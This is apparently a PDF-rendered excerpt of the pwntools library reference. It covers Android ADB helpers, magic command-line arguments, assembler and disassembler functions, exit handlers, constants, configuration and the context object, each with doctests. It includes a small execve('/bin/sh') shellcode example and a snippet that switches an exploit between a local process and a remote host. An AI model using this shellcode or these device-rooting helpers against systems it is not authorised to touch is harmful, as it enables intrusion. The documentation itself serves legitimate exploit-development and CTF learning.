Returns a list containing the entries in the provided directory.

Note: This uses the SYNC LIST functionality, which runs in the adbd SELinux context. If adbd is running in the su domain ('adb root'), this behaves as expected.

Otherwise, less files may be returned due to restrictive SELinux policies on adbd.

pwnlib.adb.adb.**logcat**(**a*, ***kw*)

Reads the system log file.

By default, causes logcat to exit after reading the file.

Parameters **stream** (*bool*) – If `True`, the contents are streamed rather than read in a one-shot manner. Default is `False`.

Returns If `stream` is `False`, returns a string containing the log data. Otherwise, it returns a *pwnlib.tubes.tube.tube* connected to the log output.

pwnlib.adb.adb.**makedirs**(**a*, ***kw*)

Create a directory and all parent directories on the target device.

Note: Silently succeeds if the directory already exists.

Examples:

```
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['hierarchy']
```

pwnlib.adb.adb.**mkdir**(**a*, ***kw*)

Create a directory on the target device.

Note: Silently succeeds if the directory already exists.

Parameters **path** (*str*) – Directory to create.

Examples:

```
>>> adb.mkdir('/')

>>> path = '/data/local/tmp/mkdir_test'
>>> adb.exists(path)
False
>>> adb.mkdir(path)
>>> adb.exists(path)
True

>>> adb.mkdir('/init')
Traceback (most recent call last):
...
PwnlibException: mkdir failed for /init, File exists
```

pwnlib.adb.adb.**packages**(**a*, ***kw*)

Returns a list of packages installed on the system

`pwnlib.adb.adb.pidof(*a, **kw)`
Returns a list of PIDs for the named process.

`pwnlib.adb.adb.proc_exe(*a, **kw)`
Returns the full path of the executable for the provided PID.

Example:

```
>>> adb.proc_exe(1)
b'/init'
```

`pwnlib.adb.adb.process(*a, **kw)`
Execute a process on the device.

See *pwnlib.tubes.process.process* documentation for more info.

Returns A *pwnlib.tubes.process.process* tube.

Examples:

```
>>> adb.root()
>>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8'))
Linux version ...
```

`pwnlib.adb.adb.product(*a, **kw)`
Returns the device product identifier.

`pwnlib.adb.adb.pull(*a, **kw)`
Download a file from the device.

Parameters

- **remote_path** (*str*) – Path or directory of the file on the device.
- **local_path** (*str*) – Path to save the file to. Uses the file's name by default.

Returns The contents of the file.

Example:

```
>>> _=adb.pull('/proc/version', './proc-version')
>>> print(read('./proc-version').decode('utf-8'))
Linux version ...
```

`pwnlib.adb.adb.push(*a, **kw)`
Upload a file to the device.

Parameters

- **local_path** (*str*) – Path to the local file to push.
- **remote_path** (*str*) – Path or directory to store the file on the device.

Returns Remote path of the file.

Example:

```
>>> write('./filename', 'contents')
>>> adb.push('./filename', '/data/local/tmp')
'/data/local/tmp/filename'
>>> adb.read('/data/local/tmp/filename')
b'contents'
>>> adb.push('./filename', '/does/not/exist')
```

(continues on next page)

(continued from previous page)

```
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

pwnlib.adb.adb.**read**(**a*, ***kw*)
Download a file from the device, and extract its contents.

Parameters

- **path** (*str*) – Path to the file on the device.
- **target** (*str*) – Optional, location to store the file. Uses a temporary file by default.
- **callback** (*callable*) – See the documentation for `adb.protocol.AdbClient.read`.

Examples:

```
>>> print(adb.read('/proc/version').decode('utf-8'))
Linux version ...
>>> adb.read('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

pwnlib.adb.adb.**reboot**(**a*, ***kw*)
Reboots the device.

pwnlib.adb.adb.**reboot_bootloader**(**a*, ***kw*)
Reboots the device to the bootloader.

pwnlib.adb.adb.**remount**(**a*, ***kw*)
Remounts the filesystem as writable.

pwnlib.adb.adb.**root**(**a*, ***kw*)
Restarts adbd as root.

```
>>> adb.root()
```

pwnlib.adb.adb.**setprop**(**a*, ***kw*)
Writes a property to the system property store.

pwnlib.adb.adb.**shell**(**a*, ***kw*)
Returns an interactive shell.

pwnlib.adb.adb.**uninstall**(*package*, **arguments*)
Uninstall an APK from the device.

This is a wrapper around 'pm uninstall', which backs 'adb uninstall'.

Parameters

- **package** (*str*) – Name of the package to uninstall (e.g. `'com.foo.MyPackage'`)
- **arguments** – Supplementary arguments to `'pm install'`, e.g. `'-k'`.

pwnlib.adb.adb.**unlink**(**a*, ***kw*)
Unlinks a file or directory on the target device.

Examples:

```
>>> adb.unlink("/does/not/exist")
Traceback (most recent call last):
...
PwnlibException: Could not unlink '/does/not/exist': Does not exist

>>> filename = '/data/local/tmp/unlink-test'
>>> adb.write(filename, 'hello')
>>> adb.exists(filename)
True
>>> adb.unlink(filename)
>>> adb.exists(filename)
False

>>> adb.mkdir(filename)
>>> adb.write(filename + '/contents', 'hello')
>>> adb.unlink(filename)
Traceback (most recent call last):
...
PwnlibException: Cannot delete non-empty directory '/data/local/tmp/unlink-test'␣
↪without recursive=True

>>> adb.unlink(filename, recursive=True)
>>> adb.exists(filename)
False
```

`pwnlib.adb.adb.`**`unlock_bootloader`**`(`**a*, ***kw*`)`
Unlocks the bootloader of the device.

Note: This requires physical interaction with the device.

`pwnlib.adb.adb.`**`unroot`**`(`**a*, ***kw*`)`
Restarts adbd as AID_SHELL.

`pwnlib.adb.adb.`**`uptime`**`()` → float

Returns Uptime of the device, in seconds

Example:

```
>>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
True
```

`pwnlib.adb.adb.`**`version`**`(`**a*, ***kw*`)`
Returns rthe platform version as a tuple.

`pwnlib.adb.adb.`**`wait_for_device`**`(`**a*, ***kw*`)`
Waits for a device to be connected.

By default, waits for the currently-selected device (via `context.device`). To wait for a specific device, set `context.device`. To wait for *any* device, clear `context.device`.

Returns An `AdbDevice` instance for the device.

Examples:

```
>>> device = adb.wait_for_device()
```

`pwnlib.adb.adb.`**`which`**`(`**a*, ***kw*`)`
Retrieves the full path to a binary in `$PATH` on the device

Parameters

- **name** (*str*) – Binary name
- **all** (*bool*) – Whether to return all paths, or just the first
- ***a** – Additional arguments for *adb.process()*
- ****kw** – Additional arguments for *adb.process()*

Returns Either a path, or list of paths

Example:

```
>>> adb.which('sh')
'/system/bin/sh'
>>> adb.which('sh', all=True)
['/system/bin/sh']

>>> adb.which('foobar') is None
True
>>> adb.which('foobar', all=True)
[]
```

pwnlib.adb.adb.**whoami**(**a*, ***kw*)

Returns current shell user

Example:

```
>>> adb.whoami()
b'root'
```

pwnlib.adb.adb.**write**(**a*, ***kw*)

Create a file on the device with the provided contents.

Parameters

- **path** (*str*) – Path to the file on the device
- **data** (*str*) – Contents to store in the file

Examples:

```
>>> adb.write('/dev/null', b'data')
>>> adb.write('/data/local/tmp/')
```

This file exists only for backward compatibility

2.2 pwnlib.args — Magic Command-Line Arguments

Pwntools exposes several magic command-line arguments and environment variables when operating in *from pwn import ** mode.

The arguments extracted from the command-line and removed from `sys.argv`.

Arguments can be set by appending them to the command-line, or setting them in the environment prefixed by `PWNLIB_`.

The easiest example is to enable more verbose debugging. Just set `DEBUG`.

```
$ PWNLIB_DEBUG=1 python exploit.py
$ python exploit.py DEBUG
```

These arguments are automatically extracted, regardless of their name, and exposed via `pwnlib.args.args`, which is exposed as the global variable `args`. Arguments which `pwntools` reserves internally are not exposed this way.

```
$ python -c 'from pwn import *; print(args)' A=1 B=Hello HOST=1.2.3.4 DEBUG
defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})
```

This is very useful for conditional code, for example determining whether to run an exploit locally or to connect to a remote server. Arguments which are not specified evaluate to an empty string.

```
if args['REMOTE']:
    io = remote('exploitme.com', 4141)
else:
    io = process('./pwnable')
```

Arguments can also be accessed directly with the dot operator, e.g.:

```
if args.REMOTE:
    ...
```

Any undefined arguments evaluate to an empty string, `''`.

The full list of supported "magic arguments" and their effects are listed below.

class `pwnlib.args.`**`PwnlibArgs`**

> **`__weakref__`**
> list of weak references to the object (if defined)

`pwnlib.args.`**`DEBUG`**`(x)`
: Sets the logging verbosity to `debug` which displays much more information, including logging each byte sent by tubes.

`pwnlib.args.`**`LOG_FILE`**`(x)`
: Sets a log file to be used via `context.log_file`, e.g. `LOG_FILE=./log.txt`

`pwnlib.args.`**`LOG_LEVEL`**`(x)`
: Sets the logging verbosity used via `context.log_level`, e.g. `LOG_LEVEL=debug`.

`pwnlib.args.`**`NOASLR`**`(v)`
: Disables ASLR via `context.aslr`

`pwnlib.args.`**`NOPTRACE`**`(v)`
: Disables facilities which require `ptrace` such as `gdb.attach()` statements, via `context.noptrace`.

`pwnlib.args.`**`NOTERM`**`(v)`
: Disables pretty terminal settings and animations.

`pwnlib.args.`**`RANDOMIZE`**`(v)`
: Enables randomization of various pieces via `context.randomize`

`pwnlib.args.`**`SILENT`**`(x)`
: Sets the logging verbosity to `error` which silences most output.

`pwnlib.args.`**`STDERR`**`(v)`
: Sends logging to `stderr` by default, instead of `stdout`

`pwnlib.args.TIMEOUT(v)`
Sets a timeout for tube operations (in seconds) via `context.timeout`, e.g. `TIMEOUT=30`

`pwnlib.args.asbool(s)`
Convert a string to its boolean value

`pwnlib.args.isident(s)`
Helper function to check whether a string is a valid identifier, as passed in on the command-line.

2.3 `pwnlib.asm` — Assembler functions

Utilities for assembling and disassembling code.

2.3.1 Architecture Selection

Architecture, endianness, and word size are selected by using `pwnlib.context`.

Any parameters which can be specified to `context` can also be specified as keyword arguments to either `asm()` or `disasm()`.

2.3.2 Assembly

To assemble code, simply invoke `asm()` on the code to assemble.

```
>>> asm('mov eax, 0')
b'\xb8\x00\x00\x00\x00'
```

Additionally, you can use constants as defined in the `pwnlib.constants` module.

```
>>> asm('mov eax, SYS_execve')
b'\xb8\x0b\x00\x00\x00'
```

Finally, `asm()` is used to assemble shellcode provided by `pwntools` in the `shellcraft` module.

```
>>> asm(shellcraft.nop())
b'\x90'
```

2.3.3 Disassembly

To disassemble code, simply invoke `disasm()` on the bytes to disassemble.

```
>>> disasm(b'\xb8\x0b\x00\x00\x00')
'   0:   b8 0b 00 00 00          mov    eax, 0xb'
```

`pwnlib.asm.asm(code, vma = 0, extract = True, shared = False, ...)` → str
Runs `cpp()` over a given shellcode and then assembles it into bytes.

To see which architectures or operating systems are supported, look in `pwnlib.context`.

Assembling shellcode requires that the GNU assembler is installed for the target architecture. See *Installing Binutils* for more information.

Parameters

- **shellcode** (*str*) – Assembler code to assemble.
- **vma** (*int*) – Virtual memory address of the beginning of assembly
- **extract** (*bool*) – Extract the raw assembly bytes from the assembled file. If `False`, returns the path to an ELF file with the assembly embedded.
- **shared** (*bool*) – Create a shared object.
- **kwargs** (*dict*) – Any attributes on *context* can be set, e.g.set `arch='arm'`.

Examples

```
>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
b'\xb8]\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
b'\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
b'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
b'R\x00\xa0\xe3'
>>> asm("mov #42, r0", arch = 'msp430')
b'0@*\x00'
>>> asm("la %r0, 42", arch = 's390', bits=64)
b'A\x00\x00*'
```

`pwnlib.asm.`**cpp**(*shellcode*, *...*) → str

Runs CPP over the given shellcode.

The output will always contain exactly one newline at the end.

Parameters **shellcode** (*str*) – Shellcode to preprocess

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux")
'mov al, 164\n'
>>> cpp("weee SYS_setresuid", arch = "arm", os = "linux")
'weee (0+164)\n'
>>> cpp("SYS_setresuid", arch = "thumb", os = "linux")
'(0+164)\n'
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
```

`pwnlib.asm.`**disasm**(*data*, *...*) → str

Disassembles a bytestring into human readable assembler.

To see which architectures are supported, look in `pwnlib.contex`.

Parameters

- **data** (*str*) – Bytestring to disassemble.
- **vma** (*int*) – Passed through to the –adjust-vma argument of objdump
- **byte** (*bool*) – Include the hex-printed bytes in the disassembly
- **offset** (*bool*) – Include the virtual memory address in the disassembly

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> print(disasm(unhex('b85d000000'), arch = 'i386'))
   0:   b8 5d 00 00 00          mov    eax, 0x5d
>>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0))
   0:   mov    eax, 0x5d
>>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0, offset = 0))
mov    eax, 0x5d
>>> print(disasm(unhex('b817000000'), arch = 'amd64'))
   0:   b8 17 00 00 00          mov    eax, 0x17
>>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))
   0:   48 c7 c0 17 00 00 00    mov    rax, 0x17
>>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))
   0:   e51f0004        ldr     r0, [pc, #-4]   ; 0x4
   4:   00900052        addseq  r0, r0, r2, asr r0
>>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
   0:   f04f 0005       mov.w   r0, #5
>>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
   0:   gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
   f:   push   rcx
>>> print(disasm(unhex('01000000'), arch='sparc64'))
   0:   01 00 00 00     nop
>>> print(disasm(unhex('60000000'), arch='powerpc64'))
   0:   60 00 00 00     nop
>>> print(disasm(unhex('00000000'), arch='mips64'))
   0:   00000000        nop
>>> print(disasm(unhex('48b84141414141414100c3'), arch='amd64'))
   0:   48 b8 41 41 41 41 41 41 41 00   movabs rax, 0x41414141414141
   a:   c3                      ret
>>> print(disasm(unhex('00000000'), vma=0x80000000, arch='mips'))
80000000:       00000000        nop
```

`pwnlib.asm.`**`make_elf`**(*data*, *vma=None*, *strip=True*, *extract=True*, *shared=False*, ***kwargs*) → str

Builds an ELF file with the specified binary data as its executable code.

Parameters

- **data** (*str*) – Assembled code
- **vma** (*int*) – Load address for the ELF file
- **strip** (*bool*) – Strip the resulting ELF file. Only matters if `extract=False`. (Default: `True`)
- **extract** (*bool*) – Extract the assembly from the ELF file. If `False`, the path of the ELF file is returned. (Default: `True`)
- **shared** (*bool*) – Create a Dynamic Shared Object (DSO, i.e. a `.so`) which can be loaded via `dlopen` or `LD_PRELOAD`.

Examples

This example creates an i386 ELF that just does execve('/bin/sh',. . .).

```
>>> context.clear(arch='i386')
>>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')
>>> filename = make_elf(bin_sh, extract=False)
>>> p = process(filename)
>>> p.sendline(b'echo Hello; exit')
>>> p.recvline()
b'Hello\n'
```

pwnlib.asm.**make_elf_from_assembly**(*assembly*, *vma=None*, *extract=None*, *shared=False*, *strip=False*, ***kwargs*) → str

Builds an ELF file with the specified assembly as its executable code.

This differs from *make_elf()* in that all ELF symbols are preserved, such as labels and local variables. Use *make_elf()* if size matters. Additionally, the default value for `extract` in *make_elf()* is different.

Note: This is effectively a wrapper around *asm()*. with setting `extract=False`, `vma=0x10000000`, and marking the resulting file as executable (`chmod +x`).

Note: ELF files created with *arch=thumb* will prepend an ARM stub which switches to Thumb mode.

Parameters

- **assembly** (*str*) – Assembly code to build into an ELF
- **vma** (*int*) – Load address of the binary (Default: `0x10000000`, or `0` if `shared=True`)
- **extract** (*bool*) – Extract the full ELF data from the file. (Default: `False`)
- **shared** (*bool*) – Create a shared library (Default: `False`)
- **kwargs** (*dict*) – Arguments to pass to *asm()*.

Returns The path to the assembled ELF (extract=False), or the data of the assembled ELF.

Example

This example shows how to create a shared library, and load it via `LD_PRELOAD`.

```
>>> context.clear()
>>> context.arch = 'amd64'
>>> sc = 'push rbp; mov rbp, rsp;'
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib},␣
↪universal_newlines = True)
'Hello\nWorld\n'
```

The same thing can be done with *make_elf()*, though the sizes are different. They both

```
>>> file_a = make_elf(asm('nop'), extract=True)
>>> file_b = make_elf_from_assembly('nop', extract=True)
>>> file_a[:4] == file_b[:4]
True
```

(continues on next page)

(continued from previous page)

```
>>> len(file_a) < len(file_b)
True
```

2.3.4 Internal Functions

These are only included so that their tests are run.

You should never need these.

`pwnlib.asm.`**`dpkg_search_for_binutils`**(*arch*, *util*)

Use dpkg to search for any available assemblers which will work.

Returns A list of candidate package names.

```
>>> pwnlib.asm.dpkg_search_for_binutils('aarch64', 'as')
['binutils-aarch64-linux-gnu']
```

`pwnlib.asm.`**`print_binutils_instructions`**(*util*, *context*)

On failure to find a binutils utility, inform the user of a way they can get it easily.

Doctest:

```
>>> context.clear(arch = 'amd64')
>>> pwnlib.asm.print_binutils_instructions('as', context)
Traceback (most recent call last):
...
PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64',␣
↪bits = 64, endian = 'little')
Try installing binutils for this architecture:
$ sudo apt-get install binutils
```

2.4 `pwnlib.atexception` — Callbacks on unhandled exception

Analogous to atexit, this module allows the programmer to register functions to be run if an unhandled exception occurs.

`pwnlib.atexception.`**`register`**(*func*, **args*, ***kwargs*)

Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exception-handler one could write:

```
with context.local(log_level = 'error'):
  atexception.register(handler)
```

An identifier is returned which can be used to unregister the exception-handler.

This function can be used as a decorator:

```
@atexception.register
def handler():
  ...
```

Notice however that this will bind `handler` to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:

```
atexception.unregister(handler)
```

This function is thread safe.

`pwnlib.atexception.`**`unregister`**(*func*)
Remove *func* from the collection of registered functions. If *func* isn't registered this is a no-op.

2.5 `pwnlib.atexit` — Replacement for atexit

Replacement for the Python standard library's atexit.py.

Whereas the standard `atexit` module only defines `atexit.register()`, this replacement module also defines `unregister()`.

This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard `atexit` is used.

`pwnlib.atexit.`**`register`**(*func*, **args*, ***kwargs*)
Registers a function to be called on program termination. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exit-handler one could write:

```
with context.local(log_level = 'error'):
  atexit.register(handler)
```

An identifier is returned which can be used to unregister the exit-handler.

This function can be used as a decorator:

```
@atexit.register
def handler():
  ...
```

Notice however that this will bind `handler` to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:

```
atexit.unregister(handler)
```

This function is thread safe.

`pwnlib.atexit.`**`unregister`**(*ident*)
Remove the exit-handler identified by *ident* from the list of registered handlers. If *ident* isn't registered this is a no-op.

2.6 `pwnlib.constants` — Easy access to header file constants

Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it.

Example

```
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
```

The submodule `freebsd` contains all constants for FreeBSD, while the constants for Linux have been split up by architecture.

The variables of the submodules will be "lifted up" by setting the `pwnlib.context.arch` or `pwnlib.context.os` in a manner similar to what happens in *`pwnlib.shellcraft`*.

Example

```
>>> with context.local(os = 'freebsd'):
...     print(int(constants.SYS_stat))
188
>>> with context.local(os = 'linux', arch = 'i386'):
...     print(int(constants.SYS_stat))
106
>>> with context.local(os = 'linux', arch = 'amd64'):
...     print(int(constants.SYS_stat))
4
```

```
>>> with context.local(arch = 'i386', os = 'linux'):
...    print(constants.SYS_execve + constants.PROT_WRITE)
13
>>> with context.local(arch = 'amd64', os = 'linux'):
...    print(constants.SYS_execve + constants.PROT_WRITE)
61
>>> with context.local(arch = 'amd64', os = 'linux'):
...    print(constants.SYS_execve + constants.PROT_WRITE)
61
```

2.7 `pwnlib.config` — Pwntools Configuration File

Allows per-user and per-host configuration of Pwntools settings.

The list of configurable options includes all of the logging symbols and colors, as well as all of the default values on the global context object.

The configuration file is read from `~/.pwn.conf`, `$XDG_CONFIG_HOME/pwn.conf` (`$XDG_CONFIG_HOME` defaults to `~/.config`, per XDG Base Directory Specification), and `/etc/pwn.conf`.

The configuration file is only read in `from pwn import *` mode, and not when used in library mode (`import pwnlib`). To read the configuration file in library mode, invoke `config.initialize()`.

The `context` section supports complex types, at least as far as is supported by `pwnlib.util.safeeval.expr`.

```
[log]
success.symbol=
error.symbol=
info.color=blue

[context]
adb_port=4141
randomize=1
timeout=60
terminal=['x-terminal-emulator', '-e']

[update]
interval=7
```

2.8 `pwnlib.context` — Setting runtime variables

Many settings in `pwntools` are controlled via the global variable `context`, such as the selected target operating system, architecture, and bit-width.

In general, exploits will start with something like:

```python
from pwn import *
context.arch = 'amd64'
```

Which sets up everything in the exploit for exploiting a 64-bit Intel binary.

The recommended method is to use `context.binary` to automagically set all of the appropriate values.

```python
from pwn import *
context.binary = './challenge-binary'
```

2.8.1 Module Members

Implements context management so that nested/scoped contexts and threaded contexts work properly and as expected.

class `pwnlib.context.`**`ContextType`**(***kwargs*)

Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable `context`, available via `from pwn import *` as `context`.

The context is usually specified at the top of the Python file for clarity.

```python
#!/usr/bin/env python
context.update(arch='i386', os='linux')
```

Currently supported properties and their defaults are listed below. The defaults are inherited from `pwnlib.context.ContextType.defaults`.

Additionally, the context is thread-aware when using `pwnlib.context.Thread` instead of `threading.Thread` (all internal `pwntools` threads use the former).

The context is also scope-aware by using the `with` keyword.

Examples

```
>>> context.clear()
>>> context.update(os='linux') # doctest: +ELLIPSIS
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux
↪'}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
...   print(enhex(pwnlib.asm.asm('nop')))
>>> nop()
00f020e3
>>> with context.local(arch = 'i386'):
...   nop()
90
>>> from pwnlib.context import Thread as PwnThread
>>> from threading       import Thread as NormalThread
>>> with context.local(arch = 'mips'):
...     pwnthread = PwnThread(target=nop)
...     thread    = NormalThread(target=nop)
>>> # Normal thread uses the default value for arch, 'i386'
>>> _=(thread.start(), thread.join())
90
>>> # Pwnthread uses the correct context from creation-time
>>> _=(pwnthread.start(), pwnthread.join())
00000000
>>> nop()
00f020e3
```

Initialize the ContextType structure.

All keyword arguments are passed to `update()`.

class Thread(**args*, ***kwargs*)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.context.Thread*.

Threads created by using the native :class‘threading‘.Thread‘ will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
```

(continues on next page)

(continued from previous page)

```
...     print(context.arch)
...     context.arch = 'mips'
...     print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print(context.arch)
arm
```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

`_Thread__bootstrap``()`

Implementation Details: This only works because the class is named `Thread`. If its name is changed, we have to implement this hook differently.

`__init__``(*args, **kwargs)`

This constructor should always be called with keyword arguments. Arguments are:

group should be None; reserved for future extension when a ThreadGroup class is implemented.

target is the callable object to be invoked by the run() method. Defaults to None, meaning nothing is called.

name is the thread name. By default, a unique name is constructed of the form "Thread-N" where N is a small decimal number.

args is the argument tuple for the target invocation. Defaults to ().

kwargs is a dictionary of keyword arguments for the target invocation. Defaults to {}.

If a subclass overrides the constructor, it must make sure to invoke the base class constructor (Thread.__init__()) before doing anything else to the thread.

`_bootstrap``()`

Implementation Details: This only works because the class is named `Thread`. If its name is changed, we have to implement this hook differently.

`__call__``(**kwargs)`

Alias for `pwnlib.context.ContextType.update()`

__init__(***kwargs*)
Initialize the ContextType structure.

All keyword arguments are passed to *update()*.

__repr__() <==> *repr(x)*

clear(**a*, ***kw*)
Clears the contents of the context. All values are set to their defaults.

Parameters

- **a** – Arguments passed to `update`
- **kw** – Arguments passed to `update`

Examples

```
>>> # Default value
>>> context.clear()
>>> context.arch == 'i386'
True
>>> context.arch = 'arm'
>>> context.arch == 'i386'
False
>>> context.clear()
>>> context.arch == 'i386'
True
```

copy() → dict
Returns a copy of the current context as a dictionary.

Examples

```
>>> context.clear()
>>> context.os   = 'linux'
>>> vars(context) == {'os': 'linux'}
True
```

local(***kwargs*) → context manager
Create a context manager for use with the `with` statement.

For more information, see the example below or PEP 343.

Parameters **kwargs** – Variables to be assigned in the new environment.

Returns ContextType manager for managing the old and new environment.

Examples

```
>>> context.clear()
>>> context.timeout = 1
>>> context.timeout == 1
True
>>> print(context.timeout)
1.0
```

(continues on next page)

(continued from previous page)

```
>>> with context.local(timeout = 2):
...     print(context.timeout)
...     context.timeout = 3
...     print(context.timeout)
2.0
3.0
>>> print(context.timeout)
1.0
```

quietfunc (*function*)

Similar to *quiet*, but wraps a whole function.

Example

Let's set up two functions, which are the same but one is wrapped with *quietfunc*.

```
>>> def loud(): log.info("Loud")
>>> @context.quietfunc
... def quiet(): log.info("Quiet")
```

If we set the logging level to 'info', the loud function prints its contents.

```
>>> with context.local(log_level='info'): loud()
[*] Loud
```

However, the quiet function does not, since *quietfunc* silences all output unless the log level is DEBUG.

```
>>> with context.local(log_level='info'): quiet()
```

Now let's try again with debugging enabled.

```
>>> with context.local(log_level='debug'): quiet()
[*] Quiet
```

reset_local ()

Deprecated. Use *clear()*.

update (**args*, ***kwargs*)

Convenience function, which is shorthand for setting multiple variables at once.

It is a simple shorthand such that:

```
context.update(os = 'linux', arch = 'arm', ...)
```

is equivalent to:

```
context.os   = 'linux'
context.arch = 'arm'
...
```

The following syntax is also valid:

```
context.update({'os': 'linux', 'arch': 'arm'})
```

Parameters **kwargs** – Variables to be assigned in the environment.

Examples

```
>>> context.clear()
>>> context.update(arch = 'i386', os = 'linux')
>>> context.arch, context.os
('i386', 'linux')
```

adb
Returns an argument array for connecting to adb.

Unless `$ADB_PATH` is set, uses the default `adb` binary in `$PATH`.

adb_host
Sets the target host which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_HOST, or set to the default 'localhost'.

adb_port
Sets the target port which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_PORT, or set to the default 5037.

arch
Target binary architecture.

Allowed values are listed in *pwnlib.context.ContextType.architectures*.

Side Effects:

If an architecture is specified which also implies additional attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies big-endian), these attributes will be set on the context if a user has not already set a value.

The following properties may be modified.

- *bits*
- *endian*

Raises **AttributeError** – An invalid architecture was specified

Examples

```
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True
```

```
>>> context.arch = 'mips'
>>> context.arch == 'mips'
True
```

```
>>> context.arch = 'doge' #doctest: +ELLIPSIS
Traceback (most recent call last):
 ...
AttributeError: arch must be one of ['aarch64', ..., 'thumb']
```

```
>>> context.arch = 'ppc'
>>> context.arch == 'powerpc' # Aliased architecture
True
```

```
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
```

Note that expressly setting *bits* means that we use that value instead of the default

```
>>> context.clear()
>>> context.bits = 32
>>> context.arch = 'amd64'
>>> context.bits == 32
True
```

Setting the architecture can override the defaults for both *endian* and *bits*

```
>>> context.clear()
>>> context.arch = 'powerpc64'
>>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
True
```

architectures = {'aarch64': {'bits': 64, 'endian': 'little'}, 'alpha': {'bits': 6

Values are defaults which are set when *pwnlib.context.ContextType.arch* is set

aslr

ASLR settings for new processes.

If `False`, attempt to disable ASLR in all processes which are created via `personality (setarch -R)` and `setrlimit (ulimit -s unlimited)`.

The `setarch` changes are lost if a `setuid` binary is executed.

binary

Infer target architecture, bit-with, and endianness from a binary file. Data type is a `pwnlib.elf.ELF` object.

Examples

```
>>> context.clear()
>>> context.arch, context.bits
('i386', 32)
>>> context.binary = '/bin/bash'
>>> context.arch, context.bits
('amd64', 64)
>>> context.binary
ELF('/bin/bash')
```

bits

Target machine word size, in bits (i.e. the size of general purpose registers).

The default value is `32`, but changes according to *arch*.

Examples

```
>>> context.clear()
>>> context.bits == 32
True
>>> context.bits = 64
>>> context.bits == 64
True
>>> context.bits = -1 #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (-1)
```

buffer_size

Internal buffer size to use for *pwnlib.tubes.tube.tube* objects.

This is not the maximum size of the buffer, but this is the amount of data which is passed to each raw `read` syscall (or equivalent).

bytes

Target machine word size, in bytes (i.e. the size of general purpose registers).

This is a convenience wrapper around `bits // 8`.

Examples

```
>>> context.bytes = 1
>>> context.bits == 8
True
```

```
